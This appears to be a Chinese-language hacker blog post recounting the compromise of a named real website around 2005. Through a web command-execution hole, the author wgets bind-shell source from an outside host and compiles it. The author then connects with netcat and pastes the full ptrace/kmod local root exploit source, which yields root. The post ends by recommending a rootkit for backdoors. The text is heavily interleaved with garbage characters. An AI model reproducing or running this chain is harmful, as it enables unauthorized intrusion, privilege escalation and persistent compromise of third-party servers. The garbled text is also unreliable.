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http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了,
0 V" W5 B& J4 T( Z就可以用wget这个命令来下载了,输入
! g$ [0 _, m( z* I8 Nwget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思
/ V% @0 ?- [4 S! u' q: R' \" q就是下载这个shell.c到/tmp目录下,如图6 5 w1 d; C2 s2 Y; q6 }! e' w
然后ls /tmp得到下面的结果,[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain3 M/ N, |: ]' J6 F) [
2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs
% w! X2 w& q( i S5 X& b这个时候就说明已经成功了,现在我们查找一下gcc在哪里,别到时候闹了半天4 v" v7 H% u# a! S& Y
在没有gcc就麻烦了,然后输入whereis -b gcc意思就是查找gcc的全路径输出结果& ~. u* ?8 U1 f5 p
[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
" z \& C$ [% d# n12gcc: /usr/bin/gcc
5 H$ R) G ?3 ?' I好了找到gcc了,接下来的事就好办了,编译源程序gcc shell-bind-shell.c -o bind
/ \4 ]7 T) T& n' z& a编译成功在/tmp目录下多了一个我们编译的bind程序,下面我们就来执行它吧,
" e+ w6 @( w! A( Z/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成,根据程序的介绍我6 ? G% Y1 l+ n; i+ ^
们知道他开了20000端口,我们telnet 上去吧,telnet www.sealia.com 20000
; E- {" r6 T0 c q4 r* Q哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found"3 J8 _7 j4 B/ N2 l, R) o+ R
呢,我晕了,没错啊,看看源程序吧,找到了最后,哈哈知道了原因,
: [/ H; ^( S8 }, ]Note: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000
9 W; O- _6 a- o(nc is netcat).好了知道为什么了,我们就换nc提交吧,执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢,跑了将近半个小时了,不等了,关闭它,太浪费资源了,这个时候我大概知道他是一个linux的操作系统,但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的,下面咱们来提升权限吧,就是拿到root,这里说明一下这里有2个很好用的漏洞利用程序,一个是Linux Kernel do_mremap VMA本地权限提升漏洞(漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了,咱们开始提升权限吧,大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/** R7 R) \0 @2 T' H5 m- p
* Linux kernel ptrace/kmod local root exploit' S- v. q% v) h h
*; o6 h2 `+ U. n& u
* This code exploits a race condition in kernel/kmod.c, which creates
# Y5 z2 u. r! b9 h R, g ]# r$ T* kernel thread in insecure manner. This bug allows to ptrace cloned9 t- v- Z( E: Y* X7 ?2 V
* process, allowing to take control over privileged modprobe binary.3 n# V$ }; X5 Y
*
: C6 }* W+ M7 l4 a4 M. J* Should work under all current 2.2.x and 2.4.x kernels.
" e" Q ?( A0 |1 |; {& d" ?*
) s) X9 V2 b; [3 W7 x, Q* I discovered this stupid bug independently on January 25, 2003, that 1 g# c# T" k- q/ v# s# f$ v. y
* is (almost) two month before it was fixed and published by Red Hat
4 |( D# N* |- v5 E* and others.
0 R2 R6 u# L, m3 ^" P2 g* ! i0 ]- z3 `- _0 T* d
* Wojciech Purczynski <cliph@isec.pl>0 H {0 `; q, p# P2 _/ {; j
*
- R: F: Y9 j. @2 H/ I* ^, Z* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*7 Y |5 I& D. q1 z4 ~! {9 O
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY2 ?- @, c) [: @/ H5 ^
* ) W! H ]& K6 Y9 v1 C
* (c) 2003 Copyright by iSEC Security Research2 a' ], {3 k. v! n" d, u+ D
*/ #include , t3 M h7 T, r; |
#include 3 D9 n3 H3 n O2 c4 G: ?
#include 1 O. x9 M$ k5 f9 C! N% T
#include * s$ |3 [5 p8 k4 C4 x' f
#include X7 n, X# m0 E6 S
#include
1 S% q5 `* n9 c) R6 H" G+ \#include ) T% I* X4 v6 `9 X4 n G
#include
& \; a, C$ V- \9 c3 @#include
' i0 r2 F0 ~5 g5 f: x2 I1 w#include
, l) W" H% N+ D* U0 n#include
- V) L* ]: g1 Y% U/ p#include
l3 E; [! m5 o9 x#include
' \4 W4 i& s$ P% G, @, }#include 2 E4 u+ @# v) u W3 a5 ~
#include
. W' x/ \- N# V#include char cliphcode[] =
! w, m; v1 z) Z"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
, t7 k8 D# L5 p8 G2 U1 q: _) P"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
) z' w3 B$ ?. c# G; y0 s, P"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"" G1 ]5 z: ~! n
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"; a+ x9 K# \, _0 u8 d! J1 A' z- f) n
"\x40\xcd\x80\xe8\xdc\xff\xff\xff"; #define CODE_SIZE (sizeof(cliphcode) - 1) pid_t parent = 1;
" z" v7 f8 z) |% U, Epid_t child = 1;
* i( I) ^% j) ?pid_t victim = 1;
1 i2 W% t8 `7 d4 Avolatile int gotchild = 0; void fatal(char * msg)! _* j$ V" P6 o# ?+ S
{
1 _3 d( q4 c2 c; j% S0 ~perror(msg);3 P/ |% @3 D+ [( Q( w- A# R) }! K7 Y
kill(parent, SIGKILL);. ~5 @& ^6 s6 U$ D) q3 b: _
kill(child, SIGKILL); ?7 {/ \ M; a- Z. J& ~/ w( q
kill(victim, SIGKILL);! p- }/ J" V6 [- O6 R
} void putcode(unsigned long * dst)
# h: @% n" [: |% q: ?5 \- c{
( c$ { V6 x P; F+ ?char buf[MAXPATHLEN + CODE_SIZE];6 F# G- S( K4 E) Q+ Q5 F+ n5 E$ c
unsigned long * src;
P' {8 I7 ]6 k1 cint i, len; memcpy(buf, cliphcode, CODE_SIZE);
/ D$ _& C6 ^& v3 Qlen = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
0 _7 i$ T, c! ]3 v c( o* i- Iif (len == -1)% z2 B: p6 D( J- X- @
fatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE + 1;
/ s1 f5 ]8 k$ Y, M O" Dbuf[len] = '\0'; src = (unsigned long*) buf;
3 O' G' J6 C2 [- I/ Y. [( Bfor (i = 0; i < len; i += 4)9 m% k( i$ w- k6 }) X8 G- B9 y
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)8 m4 D$ A0 n2 n% ` k$ O H
fatal("[-] Unable to write shellcode");/ _9 Y, M; J0 C
} void sigchld(int signo)
4 l P+ J) s$ ?; A{
9 [8 N, r/ t( Y+ ], |struct user_regs_struct regs; if (gotchild++ == 0)
. j2 U6 [$ H5 n4 Q+ f' M* vreturn; fprintf(stderr, "[+] Signal caught\n"); if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1)5 x+ r' R8 M/ n1 Q; I
fatal("[-] Unable to read registers"); fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip); putcode((unsigned long *)regs.eip); fprintf(stderr, "[+] Now wait for suid shell...\n"); if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)! n/ |0 s6 _ a2 w" F2 ]
fatal("[-] Unable to detach from victim"); exit(0);: H: Y3 T7 q5 x3 z. o
} void sigalrm(int signo)9 k, ~3 A& z* C0 R% ~
{
5 a7 x: h2 ?# i' zerrno = ECANCELED;. _8 A U y0 F4 h; C4 u" w# `
fatal("[-] Fatal error");
5 c# x# U/ [: [$ s& q8 N$ ~} void do_child(void)
- t5 k; l L+ M1 \9 L' Q9 X/ {{
+ u& a/ ]6 F# N5 ~# D5 tint err; child = getpid();
3 i9 v N [7 y4 \victim = child + 1; signal(SIGCHLD, sigchld); do$ H, M# S. A$ Q( X6 t: A
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
* l5 v: [- o& ~; `6 ]while (err == -1 && errno == ESRCH); if (err == -1)4 }8 N! d1 l& G! u6 R# B
fatal("[-] Unable to attach"); fprintf(stderr, "[+] Attached to %d\n", victim);
4 f& R6 y8 M+ m+ |+ h) Y) Z1 C- awhile (!gotchild) ;6 W3 U& S: s, |% w8 i" Z
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
' H$ A K$ q4 R9 Pfatal("[-] Unable to setup syscall trace");$ o" E4 c' V- \9 i! Z' \
fprintf(stderr, "[+] Waiting for signal\n"); for(;;);3 H: v$ P9 s$ ^ w7 A* e
} void do_parent(char * progname) b7 J0 p( |# c4 s- p. ?7 r
{
/ ^6 H' p* d( h5 x! e1 tstruct stat st;
: {/ v" @4 l6 A) Mint err;# K+ ]' q9 o1 ?8 }: W+ V
errno = 0;
0 e4 Q8 I7 F. H5 Xsocket(AF_SECURITY, SOCK_STREAM, 1);6 I4 C, ~6 _3 l2 S* i
do {
4 h5 H$ D2 R' g! Q" gerr = stat(progname, &st);. y2 ~8 V" O1 d
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID); if (err == -1)
1 k3 N+ E4 t0 b4 E9 @8 Tfatal("[-] Unable to stat myself"); alarm(0);
) ^: P1 Z5 _' _4 rsystem(progname);2 a C. o5 Y% T$ {/ P% K% I
} void prepare(void)
( X- n! @4 G' Y5 ]{
% Y" \/ p- O0 K( u. {2 F- Jif (geteuid() == 0) {
/ ~+ {% ]& u1 @* Dinitgroups("root", 0);0 n, T J+ T* m; s
setgid(0);
! A5 ] y$ _) B, Rsetuid(0);! X% C5 v0 A. k" J- l% S
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
5 z# \: W' J! I3 Z5 hfatal("[-] Unable to spawn shell");
* G/ u0 e: y0 J$ R& F2 @4 p}
/ @& K7 m2 R/ T# l} int main(int argc, char ** argv)
% x. A9 g$ H( i: D! z. d: ~{+ B- Y, e" m/ U+ ?, a
prepare();+ }( p6 w) o0 O8 V: S- p* ~: b9 \
signal(SIGALRM, sigalrm);
+ ?- e. q, x Halarm(10); parent = getpid();
/ t; H6 ^$ w6 O& P/ tchild = fork();
4 g% i7 {$ |1 u0 u' T; Avictim = child + 1; if (child == -1)" n: f) W, l5 G( D9 j* [: x
fatal("[-] Unable to fork"); if (child == 0)
, E3 x3 C$ ^" z2 H6 o v% _. G: ndo_child();% E w! m' \% L8 ?3 j! w
else. |$ s1 P- i: y. n
do_parent(argv[0]); return 0;
# f- y; q5 u1 [; U- |* n}CRTL+C保存,然后编译gcc 1.c -o 1编译成功,然后输入./1程序开始执行了,-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了,剩下的工作就是安装后门了,大家可以参考我另外的一篇文章,more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了,其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞,这一点点的小漏洞就可以把能拿到系统的最高权限,可见其危害性,希望国内的网管能够重视起来. |